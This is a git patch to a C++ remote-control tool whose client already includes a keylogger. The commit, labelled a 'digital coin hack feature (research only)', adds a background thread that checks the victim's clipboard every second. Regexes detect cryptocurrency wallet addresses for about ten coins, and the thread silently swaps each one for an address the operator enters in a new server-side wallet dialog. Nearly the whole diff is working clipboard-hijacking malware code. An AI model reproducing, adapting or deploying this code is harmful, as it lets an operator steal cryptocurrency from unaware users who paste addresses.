From 1ddcd4584fc3dba49603478916f2836818339eea Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 5 Oct 2025 17:47:11 +0800 Subject: [PATCH] Feature: Add digital coin hack feature (research only) --- Dependencies.md | 1 + client/ClientDll_vs2015.vcxproj | 10 +- client/KernelManager.cpp | 3 + client/KeyboardManager.cpp | 86 +++++++ client/KeyboardManager.h | 5 + client/clip.h | 211 ++++++++++++++++++ client/ghost_vs2015.vcxproj | 2 + common/commands.h | 2 +- common/wallet.h | 105 +++++++++ lib/ReadMe.md | 2 + server/2015Remote/2015Remote.rc | Bin 94308 -> 98196 bytes server/2015Remote/2015RemoteDlg.cpp | 21 ++ server/2015Remote/2015RemoteDlg.h | 1 + server/2015Remote/2015Remote_vs2015.vcxproj | 2 + .../2015Remote_vs2015.vcxproj.filters | 2 + server/2015Remote/CWalletDlg.cpp | 105 +++++++++ server/2015Remote/CWalletDlg.h | 38 ++++ server/2015Remote/resource.h | Bin 47470 -> 48760 bytes 18 files changed, 591 insertions(+), 5 deletions(-) create mode 100644 client/clip.h create mode 100644 common/wallet.h create mode 100644 server/2015Remote/CWalletDlg.cpp create mode 100644 server/2015Remote/CWalletDlg.h diff --git a/Dependencies.md b/Dependencies.md index 09535a8..c7ed9c6 100644 --- a/Dependencies.md +++ b/Dependencies.md @@ -14,3 +14,4 @@ - [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket) - [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink) +- [clip v1.11](https://github.com/dacap/clip) diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 577cc85..ec3ae53 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -71,21 +71,21 @@ ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common - $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) $(Configuration)\dll ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common - $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) $(Platform)\$(Configuration)\dll - $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common $(Configuration)\dll - $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath) ./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common $(Platform)\$(Configuration)\dll @@ -197,12 +197,14 @@ + + diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 2eabc85..22214b6 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -527,6 +527,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case CMD_MASTERSETTING: if (ulLength > sizeof(MasterSettings)) { memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); + // Remark 打开键盘记录或下一次启动客户端才会生效 + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", "wallet", m_settings.WalletAddress); } break; case COMMAND_KEYBOARD: //键盘记录 diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 51cce10..d049e4f 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -19,6 +19,21 @@ #include #define CAPTION_SIZE 1024 +#include "wallet.h" +#include "clip.h" +#ifdef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "clip_x64D.lib") +#else +#pragma comment(lib, "clip_x64.lib") +#endif +#else +#ifdef _DEBUG +#pragma comment(lib, "clipd.lib") +#else +#pragma comment(lib, "clip.lib") +#endif +#endif CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient) { @@ -30,7 +45,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user m_Buffer = new CircularBuffer(m_strRecordFile); m_bIsWorking = true; + iniFile cfg(CLIENT_PATH); + m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); + m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL); m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); SetReady(TRUE); @@ -39,8 +57,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user CKeyboardManager1::~CKeyboardManager1() { m_bIsWorking = false; + WaitForSingleObject(m_hClipboard, INFINITE); WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hSendThread, INFINITE); + CloseHandle(m_hClipboard); CloseHandle(m_hWorkThread); CloseHandle(m_hSendThread); m_Buffer->WriteAvailableDataToFile(m_strRecordFile); @@ -50,6 +70,11 @@ CKeyboardManager1::~CKeyboardManager1() void CKeyboardManager1::Notify() { if (NULL == this) return; + + m_mu.Lock(); + iniFile cfg(CLIENT_PATH); + m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); + m_mu.Unlock(); sendStartKeyBoard(); WaitForDialogOpen(); } @@ -72,6 +97,13 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize) } } +std::vector CKeyboardManager1::GetWallet() { + m_mu.Lock(); + auto w = m_Wallet; + m_mu.Unlock(); + return w; +} + int CKeyboardManager1::sendStartKeyBoard() { BYTE bToken[2]; @@ -438,6 +470,60 @@ int CALLBACK WriteBuffer(const char* record, void* user) { return 0; } +DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) { + CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; + while (pThis->m_bIsWorking) { + auto w = pThis->GetWallet(); + if (!w.empty() && clip::has(clip::text_format())) { + std::string value; + clip::get_text(value); + if (value.length() > 200) { + Sleep(1000); + continue; + } + auto type = detectWalletType(value); + switch (type) { + case WALLET_UNKNOWN: + break; + case WALLET_BTC_P2PKH: + case WALLET_BTC_P2SH: + case WALLET_BTC_BECH32: + if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]); + break; + case WALLET_ETH_ERC20: + if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]); + break; + case WALLET_USDT_OMNI: + if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]); + break; + case WALLET_USDT_TRC20: + if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]); + break; + case WALLET_TRON: + if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]); + break; + case WALLET_SOLANA: + if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]); + break; + case WALLET_XRP: + if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]); + break; + case WALLET_POLKADOT: + if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]); + break; + case WALLET_CARDANO_SHELLEY: + case WALLET_CARDANO_BYRON: + if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]); + break; + case WALLET_DOGE: + if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]); + break; + } + Sleep(1000); + } + } + return 0x20251005; +} DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) { diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h index ded9128..3a2fd22 100644 --- a/client/KeyboardManager.h +++ b/client/KeyboardManager.h @@ -220,9 +220,11 @@ public: virtual ~CKeyboardManager1(); virtual void Notify(); virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize); + static DWORD WINAPI Clipboard(LPVOID lparam); static DWORD WINAPI KeyLogger(LPVOID lparam); static DWORD WINAPI SendData(LPVOID lparam); BOOL m_bIsOfflineRecord; + HANDLE m_hClipboard; HANDLE m_hWorkThread,m_hSendThread; TCHAR m_strRecordFile[MAX_PATH]; private: @@ -233,6 +235,9 @@ private: bool m_bIsWorking; CircularBuffer *m_Buffer; + CLocker m_mu; + std::vector m_Wallet; + std::vector GetWallet(); }; #undef BUFFER_SIZE diff --git a/client/clip.h b/client/clip.h new file mode 100644 index 0000000..a6f0913 --- /dev/null +++ b/client/clip.h @@ -0,0 +1,211 @@ +// Clip Library +// Copyright (c) 2015-2024 David Capello +// +// This file is released under the terms of the MIT license. +// Read LICENSE.txt for more information. + +#ifndef CLIP_H_INCLUDED +#define CLIP_H_INCLUDED +#pragma once + +#include +#include +#include +#include + +namespace clip { + + // ====================================================================== + // Low-level API to lock the clipboard/pasteboard and modify it + // ====================================================================== + + // Clipboard format identifier. + typedef size_t format; + +#if CLIP_ENABLE_IMAGE + class image; + struct image_spec; +#endif // CLIP_ENABLE_IMAGE + +#if CLIP_ENABLE_LIST_FORMATS + struct format_info { + format id = 0; + std::string name; + format_info(const format id, + const std::string& name) + : id(id), + name(name) { + } + }; +#endif // CLIP_ENABLE_LIST_FORMATS + + class lock { + public: + // You can give your current HWND as the "native_window_handle." + // Windows clipboard functions use this handle to open/close + // (lock/unlock) the clipboard. From the MSDN documentation we + // need this handler so SetClipboardData() doesn't fail after a + // EmptyClipboard() call. Anyway it looks to work just fine if we + // call OpenClipboard() with a null HWND. + lock(void* native_window_handle = nullptr); + ~lock(); + + // Returns true if we've locked the clipboard successfully in + // lock() constructor. + bool locked() const; + + // Clears the clipboard content. If you don't clear the content, + // previous clipboard content (in unknown formats) could persist + // after the unlock. + bool clear(); + + // Returns true if the clipboard can be converted to the given + // format. + bool is_convertible(format f) const; + bool set_data(format f, const char* buf, size_t len); + bool get_data(format f, char* buf, size_t len) const; + size_t get_data_length(format f) const; + +#if CLIP_ENABLE_IMAGE + // For images + bool set_image(const image& image); + bool get_image(image& image) const; + bool get_image_spec(image_spec& spec) const; +#endif // CLIP_ENABLE_IMAGE + +#if CLIP_ENABLE_LIST_FORMATS + // Returns the list of available formats (by name) in the + // clipboard. + std::vector list_formats() const; +#endif // CLIP_ENABLE_LIST_FORMATS + + private: + class impl; + std::unique_ptr p; + }; + + format register_format(const std::string& name); + + // This format is when the clipboard has no content. + format empty_format(); + + // When the clipboard has UTF8 text. + format text_format(); + +#if CLIP_ENABLE_IMAGE + // When the clipboard has an image. + format image_format(); +#endif + + // Returns true if the clipboard has content of the given type. + bool has(format f); + + // Clears the clipboard content. + bool clear(); + + // ====================================================================== + // Error handling + // ====================================================================== + + enum class ErrorCode { + CannotLock, +#if CLIP_ENABLE_IMAGE + ImageNotSupported, +#endif + }; + + typedef void (*error_handler)(ErrorCode code); + + void set_error_handler(error_handler f); + error_handler get_error_handler(); + + // ====================================================================== + // Text + // ====================================================================== + + // High-level API to put/get UTF8 text in/from the clipboard. These + // functions returns false in case of error. + bool set_text(const std::string& value); + bool get_text(std::string& value); + + // ====================================================================== + // Image + // ====================================================================== + +#if CLIP_ENABLE_IMAGE + + struct image_spec { + unsigned long width = 0; + unsigned long height = 0; + unsigned long bits_per_pixel = 0; + unsigned long bytes_per_row = 0; + unsigned long red_mask = 0; + unsigned long green_mask = 0; + unsigned long blue_mask = 0; + unsigned long alpha_mask = 0; + unsigned long red_shift = 0; + unsigned long green_shift = 0; + unsigned long blue_shift = 0; + unsigned long alpha_shift = 0; + + unsigned long required_data_size() const; + }; + + // The image data must contain straight RGB values + // (non-premultiplied by alpha). The image retrieved from the + // clipboard will be non-premultiplied too. Basically you will be + // always dealing with straight alpha images. + // + // Details: Windows expects premultiplied images on its clipboard + // content, so the library code make the proper conversion + // automatically. macOS handles straight alpha directly, so there is + // no conversion at all. Linux/X11 images are transferred in + // image/png format which are specified in straight alpha. + class image { + public: + image(); + image(const image_spec& spec); + image(const void* data, const image_spec& spec); + image(const image& image); + image(image&& image); + ~image(); + + image& operator=(const image& image); + image& operator=(image&& image); + + char* data() const { return m_data; } + const image_spec& spec() const { return m_spec; } + + bool is_valid() const { return m_data != nullptr; } + void reset(); + + private: + void copy_image(const image& image); + void move_image(image&& image); + + bool m_own_data; + char* m_data; + image_spec m_spec; + }; + + // High-level API to set/get an image in/from the clipboard. These + // functions returns false in case of error. + bool set_image(const image& img); + bool get_image(image& img); + bool get_image_spec(image_spec& spec); + +#endif // CLIP_ENABLE_IMAGE + + // ====================================================================== + // Platform-specific + // ====================================================================== + + // Only for X11: Sets the time (in milliseconds) that we must wait + // for the selection/clipboard owner to receive the content. This + // value is 1000 (one second) by default. + void set_x11_wait_timeout(int msecs); + int get_x11_wait_timeout(); + +} // namespace clip + +#endif // CLIP_H_INCLUDED diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index a239867..32e6da5 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -207,6 +207,7 @@ + @@ -214,6 +215,7 @@ + diff --git a/common/commands.h b/common/commands.h index 21f5df3..fe964fc 100644 --- a/common/commands.h +++ b/common/commands.h @@ -838,7 +838,7 @@ typedef struct MasterSettings { char MasterVersion[12]; // ذ汾 int DetectSoftware; // int UsingFRPProxy; // ǷʹFRP - char Reserved[472]; // Ԥ + char WalletAddress[472]; // Wallets }MasterSettings; // 100ֽ: + С + ÷ʽ + DLL diff --git a/common/wallet.h b/common/wallet.h new file mode 100644 index 0000000..e65251a --- /dev/null +++ b/common/wallet.h @@ -0,0 +1,105 @@ +#include +#include +#include + +// Powered by ChatGPT. + +enum WalletType { + WALLET_UNKNOWN = 0, + WALLET_BTC_P2PKH, + WALLET_BTC_P2SH, + WALLET_BTC_BECH32, + WALLET_ETH_ERC20, // ETH、ERC20(含 USDT-ERC20) + WALLET_USDT_OMNI, // USDT Omni,BTC 网络,格式同 BTC + WALLET_USDT_TRC20, // USDT TRC20 + WALLET_TRON, + WALLET_SOLANA, + WALLET_XRP, + WALLET_POLKADOT, + WALLET_CARDANO_SHELLEY, + WALLET_CARDANO_BYRON, + WALLET_DOGE // Dogecoin +}; + +enum AddressType { + ADDR_BTC = 0, + ADDR_ERC20, + ADDR_OMNI, + ADDR_TRC20, + ADDR_SOL, + ADDR_XRP, + ADDR_ADA, + ADDR_DOGE, + ADDR_DOT, + ADDR_TRON, + MAX_WALLET_NUM, +}; + +inline WalletType detectWalletType(const std::string& address_raw) { + std::string address = address_raw; + address.erase(0, address.find_first_not_of(" \t\n\r")); + address.erase(address.find_last_not_of(" \t\n\r") + 1); + + // 1. ETH/ERC20(0x 开头) + static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$"); + if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20; + + // 2. TRC20(T 开头) + static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$"); + if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20; + + // 3. BTC Bech32(bc1 开头) + static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$"); + if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32; + + // 4. BTC P2PKH(1 开头) + static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$"); + if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH; + + // 5. BTC P2SH(3 开头) + static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$"); + if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH; + + // 6. XRP(r 开头,Base58) + static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$"); + if (std::regex_match(address, xrp_regex)) return WALLET_XRP; + + // 7. Dogecoin(D 开头,Base58) + static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$"); + if (std::regex_match(address, doge_regex)) return WALLET_DOGE; + + // 8. Cardano Shelley(addr1 开头) + static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$"); + if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY; + + // 9. Cardano Byron(DdzFF 开头) + if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON; + + // 10. Polkadot(长度 47–48,Base58) + static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$"); + if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT; + + // 11. Solana(32–44,无前缀,Base58)→ 容易误判,必须放最后 + static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$"); + if (std::regex_match(address, solana_regex)) return WALLET_SOLANA; + + return WALLET_UNKNOWN; +} + +inline std::string walletTypeToString(WalletType type) { + switch (type) { + case WALLET_BTC_P2PKH: return "Bitcoin P2PKH (includes USDT-OMNI)"; + case WALLET_BTC_P2SH: return "Bitcoin P2SH (includes USDT-OMNI)"; + case WALLET_BTC_BECH32: return "Bitcoin Bech32"; + case WALLET_ETH_ERC20: return "Ethereum / ERC20 (includes USDT-ERC20)"; + case WALLET_USDT_TRC20: return "USDT TRC20"; + case WALLET_TRON: return "TRON (same as USDT-TRC20)"; + case WALLET_SOLANA: return "Solana"; + case WALLET_XRP: return "XRP"; + case WALLET_POLKADOT: return "Polkadot"; + case WALLET_CARDANO_SHELLEY: return "Cardano Shelley"; + case WALLET_CARDANO_BYRON: return "Cardano Byron"; + case WALLET_DOGE: return "Dogecoin"; + default: return "Unknown or Unsupported"; + } +} diff --git a/lib/ReadMe.md b/lib/ReadMe.md index 4af73b6..79c1be8 100644 --- a/lib/ReadMe.md +++ b/lib/ReadMe.md @@ -1,3 +1,5 @@ # Requirements - HPSocket: https://github.com/ldcsaa/HP-Socket.git + +- Clip: https://github.com/dacap/clip.git diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 0f98596adc4608a49963ce94f05186e53134682b..4cfc94494787583a4bf8fa2a775da7240e3a7b78 100644 GIT binary patch delta 1270 zcmaJ>-%C?r7=90FR!$Qq{W5A==_IZ5(>c4*nq;;%x1E?_sBOB<3|e z!YL@is{$bsFNAI~YF#g~i|!J-2m|vU$n}2P&e`z%f7S z8JAO)l{v6JjBi8`pMwzBce3St7c!l)d!p-T3oI%z2q$q9+{+1m~t+1^Wg+g^Rxs&nM_ceDP7_MW#V4M^J_ZVwGt<(se@+f4~p-4~=C0>waZvAG2%W z^Y7cW1yncbTo(yjTA+-ZnX;YQeWA>rV2&?3%*?xXywZxb-$7Qscp2Z~MmH0x_y=2H BE2{ti delta 43 ycmbR8pY_QD)(!uTOfI;&Ve_6#d}`Ahgc!LtGySSl-=@U4%L637{a!ZXHemq#WfhJ9 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index d695adb..f393feb 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -39,6 +39,8 @@ #include "client/MemoryModule.h" #include #include "CDrawingBoard.h" +#include "CWalletDlg.h" +#include #ifdef _DEBUG #define new DEBUG_NEW @@ -474,6 +476,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch) ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline) ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin) + ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet) END_MESSAGE_MAP() @@ -1052,6 +1055,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() int n = THIS_CFG.GetInt("settings", "SoftwareDetect"); int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp"); m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP }; + auto w = THIS_CFG.GetStr("settings", "wallet", ""); + memcpy(m_settings.WalletAddress, w.c_str(), w.length()); std::map myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }}; std::string str = myMap[n]; LVCOLUMN lvColumn; @@ -3284,3 +3289,19 @@ void CMy2015RemoteDlg::OnOnlineRunAsAdmin() LeaveCriticalSection(&m_cs); } } + + +void CMy2015RemoteDlg::OnMainWallet() +{ + CWalletDlg dlg(this); + dlg.m_str = CString(m_settings.WalletAddress); + if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str) + return; + if (dlg.m_str.GetLength() > 470) { + MessageBox("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION); + return; + } + strcpy(m_settings.WalletAddress, dlg.m_str); + THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress); + SendMasterSettings(nullptr); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 21c7b24..1534801 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -304,4 +304,5 @@ public: afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnOnlineRunAsAdmin(); afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam); + afx_msg void OnMainWallet(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 2b8ae57..bf4a89d 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -268,6 +268,7 @@ + @@ -339,6 +340,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 8b17897..dbefb42 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -53,6 +53,7 @@ + @@ -118,6 +119,7 @@ + diff --git a/server/2015Remote/CWalletDlg.cpp b/server/2015Remote/CWalletDlg.cpp new file mode 100644 index 0000000..e6d6f58 --- /dev/null +++ b/server/2015Remote/CWalletDlg.cpp @@ -0,0 +1,105 @@ +// CWalletDlg.cpp: 实现文件 +// + +#include "stdafx.h" +#include "CWalletDlg.h" +#include "afxdialogex.h" +#include "Resource.h" +#include "wallet.h" + + +// CWalletDlg 对话框 + +IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx) + +CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/) + : CDialogEx(IDD_DIALOG_WALLET, pParent) +{ + +} + +CWalletDlg::~CWalletDlg() +{ +} + +void CWalletDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC); + DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20); + DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI); + DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20); + DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL); + DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP); + DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA); + DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE); + DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT); + DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON); +} + + +BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx) +END_MESSAGE_MAP() + + +// CWalletDlg 消息处理程序 + + +BOOL CWalletDlg::OnInitDialog() +{ + CDialogEx::OnInitDialog(); + + auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM); + m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str()); + m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str()); + m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str()); + m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str()); + m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str()); + m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str()); + m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str()); + m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str()); + m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str()); + m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str()); + + return TRUE; +} + +CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter) +{ + CString result; + for (int i = 0; i < size; ++i) + { + result += arr[i]; + if (i != size - 1) + result += delimiter; + } + return result; +} + +void CWalletDlg::OnOK() +{ + CString a[MAX_WALLET_NUM]; + m_EditBTC.GetWindowTextA(a[ADDR_BTC]); + m_EditERC20.GetWindowTextA(a[ADDR_ERC20]); + m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]); + m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]); + m_EditSOL.GetWindowTextA(a[ADDR_SOL]); + m_EditXRP.GetWindowTextA(a[ADDR_XRP]); + m_EditADA.GetWindowTextA(a[ADDR_ADA]); + m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]); + m_EditDOT.GetWindowTextA(a[ADDR_DOT]); + m_EditTRON.GetWindowTextA(a[ADDR_TRON]); + + for (int i = 0; i < MAX_WALLET_NUM; ++i) { + if (a[i].IsEmpty()) continue; + if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) { + char tip[100]; + sprintf(tip, "第 %d 个钱包地址不合法!", i + 1); + MessageBox(CString(tip), "提示", MB_ICONINFORMATION); + return; + } + } + m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';')); + + CDialogEx::OnOK(); +} diff --git a/server/2015Remote/CWalletDlg.h b/server/2015Remote/CWalletDlg.h new file mode 100644 index 0000000..54f3bd2 --- /dev/null +++ b/server/2015Remote/CWalletDlg.h @@ -0,0 +1,38 @@ +#pragma once + + +// CWalletDlg 对话框 + +class CWalletDlg : public CDialogEx +{ + DECLARE_DYNAMIC(CWalletDlg) + +public: + CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数 + virtual ~CWalletDlg(); + + CString m_str; + +// 对话框数据 +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_DIALOG_WALLET }; +#endif + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + + DECLARE_MESSAGE_MAP() +public: + CEdit m_EditBTC; + CEdit m_EditERC20; + CEdit m_EditOMNI; + CEdit m_EditTRC20; + CEdit m_EditSOL; + CEdit m_EditXRP; + CEdit m_EditADA; + CEdit m_EditDOGE; + CEdit m_EditDOT; + CEdit m_EditTRON; + virtual BOOL OnInitDialog(); + virtual void OnOK(); +}; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index cdf1f5002f85c04a006c5535c3fcf0b2138c11de..24aa704c51edb07f935eabe01872b4f5ca79056c 100644 GIT binary patch delta 509 zcmaF&iRs55rVSDHlQ*ymafUNEGWYtw@)%9Dk*$V_hFVA&jFZxT2;L6T1pF3k|a z5YOPm5Hi^@M0Qd?+vImU#3l!*3W=gBaAgQ$aAq)?%(zt&q$o*R15JTHgD-<0gXiRj z#?s7&43?7>1>`3;NOPg73PCkS#6}8>V}cp{CvW7Eo%}(bWpb0a3>Fm;3_+7WDuGon z8cc3?DPF&Iovny{$w9nglRs=1nH;ynWU`U~guQ2n5ilAc IY>Ay=0DmQj82|tP delta 64 zcmezIhw0rXrVSDHlRpTsY~E&X5;*z8I)TmarevvY7TKf4IC+M>*krzaB9k-rnoQoX Q8^S)e*J!fNL=Za*0PratbpQYW